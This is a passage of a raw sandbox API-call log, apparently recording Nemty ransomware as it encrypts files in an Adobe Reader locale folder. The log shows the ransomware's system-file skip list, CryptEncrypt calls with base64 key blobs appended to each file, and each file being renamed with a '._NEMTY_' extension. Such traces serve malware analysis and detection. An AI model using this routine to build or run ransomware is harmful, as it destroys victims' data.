Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.849] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.849] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.849] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0180.849] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="oWA8FKVQwKV08RFiI0tc5i1sekFtLkab4CLZR4Wqs5sY+EIS8XoOnrE83PjKn/WA\r\nlsK9GieoM1kYuMBxPAod10qLG49uNDGMJzI5zTHEDtSluGf1wIAVA3B96Td0M1cs\r\nk3bU+IBeuoIYE0j+w4FJ+WDPs44GzrGbhNDR2xETIcODye8VsCZC/Y4uBj2nrQgG\r\nFsz831pIpwnbTLZjBiK2VnUrX99xH0uje4oeSbAIop1VtWm4KQyo5pjFmr4ql53F\r\n0z+vmORTuVBfuVmluE46y+khue/fu6GLfMviySqkLE33EUeUk1ADngA/k1AgUn9y\r\nhpvQkgy7Uut0028XMlRVLw==\r\n", pcchString=0x653e5dc) returned 1 [0180.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0180.849] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.849] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Annots.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\annots.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.850] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=506880) returned 1 [0180.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0180.850] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.850] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0180.859] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.859] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0180.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.859] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=506880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7bc00 [0180.859] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.861] CloseHandle (hObject=0x2e8) returned 1 [0180.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0180.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.861] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0180.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0180.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.861] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Annots.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\annots.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Annots.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\annots.pol._nemty_kgobjgd_")) returned 1 [0180.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0180.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0180.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0180.863] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.POL", cAlternateFileName="BRDLAN~1.POL")) returned 1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2=".") returned 1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="..") returned 1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="...") returned 1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="windows") returned -1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="$RECYCLE.BIN") returned 1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="rsa") returned -1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="NTDETECT.COM") returned -1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="ntldr") returned -1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="MSDOS.SYS") returned -1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="IO.SYS") returned -1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="boot.ini") returned 1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="boot.ini") returned 1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="AUTOEXEC.BAT") returned 1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="ntuser.dat") returned -1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="desktop.ini") returned -1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="CONFIG.SYS") returned -1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="RECYCLER") returned -1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="BOOTSECT.BAK") returned 1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="bootmgr") returned 1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="programdata") returned -1 [0180.863] lstrcmpiW (lpString1="BRdlang32.POL", lpString2="appdata") returned 1 [0180.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.POL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.POL", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.POL", lpUsedDefaultChar=0x0) returned 13 [0180.863] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.POL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.POL", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.POL", lpUsedDefaultChar=0x0) returned 13 [0180.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.POL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.POL", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.POL", lpUsedDefaultChar=0x0) returned 13 [0180.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.POL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.POL", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.POL", lpUsedDefaultChar=0x0) returned 13 [0180.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.864] Sleep (dwMilliseconds=0x5) [0180.880] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f75abd0, dwHighDateTime=0x1d561e8)) [0180.880] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f75abd0, dwHighDateTime=0x1d561e8)) [0180.880] GetLastError () returned 0x0 [0180.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.880] GetLastError () returned 0x0 [0180.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.880] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.880] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.880] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.880] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="sUgMJYOTdlrck8B+EgrJtFtcx++pxu295mhwxu9SFWO9YPU3Bj0GPeWmJ8I+5B4U\r\nQayJXnBxxaEnUIanYomZeBbOcZSg039cRsqOERK/fx8zbXd5uT0RmMSvv2GJ3aSM\r\nR+VQPHwBOO060G29mn6QgZkRJDONBmk7ZH/Z2/1bNWyGDOBPzGBCpkibiO/KRWgw\r\n0yjhUBeIAUZg4qCiwuH9Yje2cIxtbR6AZRIqgwxLq52ZSudPTYJ1lQcMZhnICFWf\r\nn4AW5l4OlyPnbvEJWQ9X3+nZRL2E/1kLz66xTRkiZlTo78R5GmmijTkMZpMQHW55\r\nOg2Ltak+bJYxuiTCypm6Fw==\r\n", pcchString=0x653e5dc) returned 1 [0180.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.880] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.880] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.880] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\BRdlang32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\brdlang32.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.881] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13824) returned 1 [0180.881] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3600) returned 0x6352c48 [0180.881] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.881] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3600, lpOverlapped=0x0) returned 1 [0180.883] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.883] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3600, lpOverlapped=0x0) returned 1 [0180.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.883] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3600 [0180.883] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.884] CloseHandle (hObject=0x2e8) returned 1 [0180.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.884] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0180.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0180.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.884] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\BRdlang32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\brdlang32.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\BRdlang32.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\brdlang32.pol._nemty_kgobjgd_")) returned 1 [0180.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0180.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.885] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.POL", cAlternateFileName="")) returned 1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2=".") returned 1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="..") returned 1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="...") returned 1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="windows") returned -1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="$RECYCLE.BIN") returned 1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="rsa") returned -1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="NTDETECT.COM") returned -1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="ntldr") returned -1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="MSDOS.SYS") returned -1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="IO.SYS") returned -1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="boot.ini") returned 1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="boot.ini") returned 1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="AUTOEXEC.BAT") returned 1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="ntuser.dat") returned -1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="desktop.ini") returned -1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="CONFIG.SYS") returned -1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="RECYCLER") returned -1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="BOOTSECT.BAK") returned 1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="bootmgr") returned 1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="programdata") returned -1 [0180.885] lstrcmpiW (lpString1="Checkers.POL", lpString2="appdata") returned 1 [0180.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.POL", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.POL", lpUsedDefaultChar=0x0) returned 12 [0180.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.POL", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.POL", lpUsedDefaultChar=0x0) returned 12 [0180.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.POL", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.POL", lpUsedDefaultChar=0x0) returned 12 [0180.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.POL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.886] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.POL", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.POL", lpUsedDefaultChar=0x0) returned 12 [0180.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.886] RtlAllocateHeap 